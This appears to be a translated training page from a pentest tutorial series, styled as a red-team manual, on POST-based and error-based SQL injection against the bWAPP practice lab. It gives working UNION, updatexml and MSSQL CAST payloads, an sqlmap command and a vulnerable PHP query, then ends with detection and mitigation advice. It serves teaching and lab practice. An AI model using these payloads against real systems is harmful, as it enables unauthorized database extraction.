Ir al contenido

📕 FIELD MANUAL 1.2: POST & ERROR-BASED EXFILTRATION INJECTION

Objective: Injection in forms (Login/Search) and data exfiltration through database engine error messages.

0views

Classification: RED TEAM EYES ONLY

Objective: Injection in forms (Login/Search) and data exfiltration through database engine error messages.

Targets bWAPP: SQL Injection (POST/Search), SQL Injection (POST/Select).

MITRE ATT&CK: T1190, T1059.006.

  • GET: The payload is visible in the address bar (id=1' OR 1=1). Easy to share, easy to log by the Blue Team.
  • POST: The payload travels inside the HTTP packet body.
    • Offensive Advantage: Not recorded in basic web access logs (only the URL is logged, not the body).
    • Requirement: We need tools like Burp Suite or browser extensions (Hackbar) to comfortably manipulate the request.

Typical PHP code behind a search or login:

// El input viene del cuerpo, no de la URL
$movie = $_POST['title'];
$sql = "SELECT * FROM movies WHERE title LIKE '%$movie%'";

2. WEAPONIZATION A: CLASSIC POST INJECTION (UNION)

Sección titulada «2. WEAPONIZATION A: INYECCIÓN POST CLÁSICA (UNION)»

If the application displays results on the screen (e.g., a list of movies), we will use the same logic as in GET (UNION SELECT), but encapsulated in POST.

  1. Intercept: We will enable the Proxy in Burp and submit the form in bWAPP.
  2. Repeater: We will send the captured request to Repeater (Ctrl + R).
  3. Injection: We will modify the last line of the request body.

Original Payload:

POST /bWAPP/sqli_6.php HTTP/1.1
...
title=Iron Man&action=search

Crafted Payload (MySQL):

title=Iron Man' UNION SELECT 1, user(), database(), 4, 5, 6, 7 -- -&action=search

Note: We will observe that we close with -- - to comment out anything that follows in the original query.

3. WEAPONIZATION B: ERROR-BASED SQL INJECTION

Sección titulada «3. WEAPONIZATION B: ERROR-BASED SQL INJECTION»

Situation: We inject ' and see an error: *You have an error in your SQL syntax...*. Problem: When we use UNION SELECT, the application DOES NOT show the results on screen (perhaps it only says “Search completed” or it is blind). Solution: We will force the database to “shout” the data we want to us within the error message itself.

Technique 1: XML Exfiltration (MySQL / MariaDB)

Sección titulada «Técnica 1: XML Exfiltration (MySQL / MariaDB)»

We will abuse functions that parse XML (UpdateXML or ExtractValue). We will pass an invalid XPath query that contains our target query. The engine will fail and show us the query result in the error.

  • Payload Structure:AND updatexml(rand(), concat(0x3a, (TU_QUERY_AQUI)), null)(0x3a is a colon : to separate the error from the data).

  • Payload to extract Version:

    Iron Man' AND updatexml(rand(), concat(0x3a, (SELECT version())), null) -- -
    • Expected result (Error): XPATH syntax error: ':10.4.2-MariaDB'
    • Bingo! We have extracted the version within the error.
  • Payload to extract Tables (Limited to 32 chars): WATCH OUT! UpdateXML only shows 32 characters. We must use LIMIT and OFFSET or SUBSTRING.

    Iron Man' AND updatexml(rand(), concat(0x3a, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)), null) -- -

Technique 2: Conversion Casting (Microsoft SQL Server)

Sección titulada «Técnica 2: Conversion Casting (Microsoft SQL Server)»

In MSSQL, we will attempt to convert a string (varchar) to an integer (int). SQL Server will fail and tell us: “Could not convert [THE SECRET DATA] to int”.

  • Payload:

    Iron Man' AND 1 = (SELECT CAST(@@version AS INT)) --
  • Result (Error): Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019...' to data type int.

SQLMap will handle POST automatically with the --data flag.

Attack Command:

sqlmap -u "http://bwapp/sqli_6.php" \
--data="title=Iron&action=search" \
--cookie="PHPSESSID=..." \
--technique=E \
--banner
  • -data: We will define the body parameters.
  • -technique=E: We will force the use of Error-Based only (useful to practice this technique specifically; otherwise, sqlmap will try UNION first).

The Error-Based technique usually has a length limit (for example, 32 characters in old MySQL). We cannot perform a massive GROUP_CONCAT all at once.

Escalation Tactic (Looping): If we automate this (with Python or Burp Intruder), we must iterate using LIMIT.

  1. LIMIT 0,1 -> Table 1
  2. LIMIT 1,1 -> Table 2
  3. LIMIT 2,1 -> Table 3

If UpdateXML is blocked, an old but effective technique in MySQL is to use count(), group by, and rand() to force a “Duplicate entry” error.

  • Concept: It is complex to write by hand, making it ideal to let SQLMap handle it or to have prepared snippets.
  1. Database Error Logs: The Blue team must monitor internal MySQL/SQL Server logs, not just those of the web server. A spike in XPATH syntax error or Conversion failed errors is a 100% certain signature of an Error-Based attack.
  2. WAF (Web Application Firewall): WAF rules usually look for keywords such as UNION, SELECT, updatexml in the POST body.
  3. Header Length: Sometimes automated injectors send strange HTTP headers or inconsistent User-Agents.
  1. Suppress Database Errors: We will configure the web server (PHP/IIS/Apache) to display generic error messages (“An error occurred”) instead of the detailed database error (Verbose Error).
    • In PHP: display_errors = Off.
    • This kills the Error-Based technique (converting it into Blind SQLi, which we will see in Phase 3).
  2. Parameterized Queries: (As always, the root solution).

Status: Module 1.2 Completed. Next step: Phase 2 - Authentication Bypass (Hacking Logins without extracting data).